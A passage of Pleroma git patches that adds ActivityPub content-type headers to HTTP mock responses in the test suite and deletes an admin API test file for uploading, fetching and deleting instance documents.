File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json"), + headers: activitypub_object_headers() }} end @@ -336,7 +362,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/wedistribute-article.json") + body: File.read!("test/fixtures/tesla_mock/wedistribute-article.json"), + headers: activitypub_object_headers() }} end @@ -344,7 +371,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json") + body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json"), + headers: activitypub_object_headers() }} end @@ -352,7 +380,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/admin@mastdon.example.org.json") + body: File.read!("test/fixtures/tesla_mock/admin@mastdon.example.org.json"), + headers: activitypub_object_headers() }} end @@ -362,7 +391,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/relay@mastdon.example.org.json") + body: File.read!("test/fixtures/tesla_mock/relay@mastdon.example.org.json"), + headers: activitypub_object_headers() }} end @@ -482,7 +512,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json") + body: File.read!("test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json"), + headers: activitypub_object_headers() }} end @@ -543,7 +574,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/mastodon-note-object.json") + body: File.read!("test/fixtures/mastodon-note-object.json"), + headers: activitypub_object_headers() }} end @@ -567,7 +599,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mayumayu.json") + body: File.read!("test/fixtures/tesla_mock/mayumayu.json"), + headers: activitypub_object_headers() }} end @@ -580,7 +613,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mayumayupost.json") + body: File.read!("test/fixtures/tesla_mock/mayumayupost.json"), + headers: activitypub_object_headers() }} end @@ -795,7 +829,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/winterdienst_webfinger.json") + body: File.read!("test/fixtures/tesla_mock/winterdienst_webfinger.json"), + headers: activitypub_object_headers() }} end @@ -867,12 +902,21 @@ defmodule HttpRequestMock do end def get("https://mastodon.social/users/lambadalambda", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/lambadalambda.json"), + headers: activitypub_object_headers() + }} end def get("https://apfed.club/channel/indio", _, _, _) do {:ok, - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/osada-user-indio.json")}} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/osada-user-indio.json"), + headers: activitypub_object_headers() + }} end def get("https://social.heldscal.la/user/23211", _, _, [{"accept", "application/activity+json"}]) do @@ -895,7 +939,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_followers.json") + body: File.read!("test/fixtures/users_mock/masto_closed_followers.json"), + headers: activitypub_object_headers() }} end @@ -903,7 +948,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_followers_page.json") + body: File.read!("test/fixtures/users_mock/masto_closed_followers_page.json"), + headers: activitypub_object_headers() }} end @@ -911,7 +957,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_following.json") + body: File.read!("test/fixtures/users_mock/masto_closed_following.json"), + headers: activitypub_object_headers() }} end @@ -919,7 +966,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_following_page.json") + body: File.read!("test/fixtures/users_mock/masto_closed_following_page.json"), + headers: activitypub_object_headers() }} end @@ -927,7 +975,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/friendica_followers.json") + body: File.read!("test/fixtures/users_mock/friendica_followers.json"), + headers: activitypub_object_headers() }} end @@ -935,7 +984,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/friendica_following.json") + body: File.read!("test/fixtures/users_mock/friendica_following.json"), + headers: activitypub_object_headers() }} end @@ -943,7 +993,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/pleroma_followers.json") + body: File.read!("test/fixtures/users_mock/pleroma_followers.json"), + headers: activitypub_object_headers() }} end @@ -951,7 +1002,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/pleroma_following.json") + body: File.read!("test/fixtures/users_mock/pleroma_following.json"), + headers: activitypub_object_headers() }} end @@ -1049,7 +1101,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity.json") + body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity.json"), + headers: activitypub_object_headers() }} end @@ -1063,7 +1116,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity2.json") + body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity2.json"), + headers: activitypub_object_headers() }} end @@ -1077,7 +1131,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity3.json") + body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity3.json"), + headers: activitypub_object_headers() }} end @@ -1110,7 +1165,12 @@ defmodule HttpRequestMock do end def get("http://mastodon.example.org/@admin/99541947525187367", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-post-activity.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/mastodon-post-activity.json"), + headers: activitypub_object_headers() + }} end def get("https://info.pleroma.site/activity4.json", _, _, _) do @@ -1137,7 +1197,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/misskey_poll_no_end_date.json") + body: File.read!("test/fixtures/tesla_mock/misskey_poll_no_end_date.json"), + headers: activitypub_object_headers() }} end @@ -1146,11 +1207,21 @@ defmodule HttpRequestMock do end def get("https://skippers-bin.com/users/7v1w1r8ce6", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/sjw.json"), + headers: activitypub_object_headers() + }} end def get("https://patch.cx/users/rin", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/rin.json"), + headers: activitypub_object_headers() + }} end def get( @@ -1160,12 +1231,20 @@ defmodule HttpRequestMock do _ ) do {:ok, - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/funkwhale_audio.json")}} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/funkwhale_audio.json"), + headers: activitypub_object_headers() + }} end def get("https://channels.tests.funkwhale.audio/federation/actors/compositions", _, _, _) do {:ok, - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json")}} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json"), + headers: activitypub_object_headers() + }} end def get("http://example.com/rel_me/error", _, _, _) do @@ -1173,7 +1252,12 @@ defmodule HttpRequestMock do end def get("https://relay.mastodon.host/actor", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/relay/relay.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/relay/relay.json"), + headers: activitypub_object_headers() + }} end def get("http://localhost:4001/", _, "", [{"accept", "text/html"}]) do -- cgit v1.2.3 From e58ea7f99cf8a70d8da879294fe5b7f05376a7e0 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 19 Sep 2020 21:25:01 +0300 Subject: changes after rebase --- .../instance_document_controller_test.exs | 106 --------------------- 1 file changed, 106 deletions(-) delete mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs (limited to 'test') diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs deleted file mode 100644 index 5f7b042f6..000000000 --- a/test/web/admin_api/controllers/instance_document_controller_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do - use Pleroma.Web.ConnCase, async: true - import Pleroma.Factory - alias Pleroma.Config - - @dir "test/tmp/instance_static" - @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/instance_document/:name" do - test "return the instance document url", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn, 200) - assert String.contains?(content, @default_instance_panel) - end - - test "it returns 403 if requested by a non-admin" do - non_admin_user = insert(:user) - token = insert(:oauth_token, user: non_admin_user) - - conn = - build_conn() - |> assign(:user, non_admin_user) - |> assign(:token, token) - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert json_response(conn, :forbidden) - end - - test "it returns 404 if the instance document with the given name doesn't exist", %{ - conn: conn - } do - conn = get(conn, "/api/pleroma/admin/instance_document/1234") - - assert json_response_and_validate_schema(conn, 404) - end - end - - describe "PATCH /api/pleroma/admin/instance_document/:name" do - test "uploads the instance document", %{conn: conn} do - image = %Plug.Upload{ - content_type: "text/html", - path: Path.absname("test/fixtures/custom_instance_panel.html"), - filename: "custom_instance_panel.html" - } - - conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ - "file" => image - }) - - assert %{"url" => url} = json_response_and_validate_schema(conn, 200) - index = get(build_conn(), url) - assert html_response(index, 200) == "<h2>Custom instance panel</h2>" - end - end - - describe "DELETE /api/pleroma/admin/instance_document/:name" do - test "deletes the instance document", %{conn: conn} do - File.mkdir!(@dir <> "/instance/") - File.write!(@dir <> "/instance/panel.html", "Custom instance panel") - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert html_response(conn_resp, 200) == "Custom instance panel" - - conn - |> delete("/api/pleroma/admin/instance_document/instance-panel") - |> json_response_and_validate_schema(200) - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn_resp, 200) - assert String.contains?(content, @default_instance_panel) - end - end -end -- cgit v1.2.3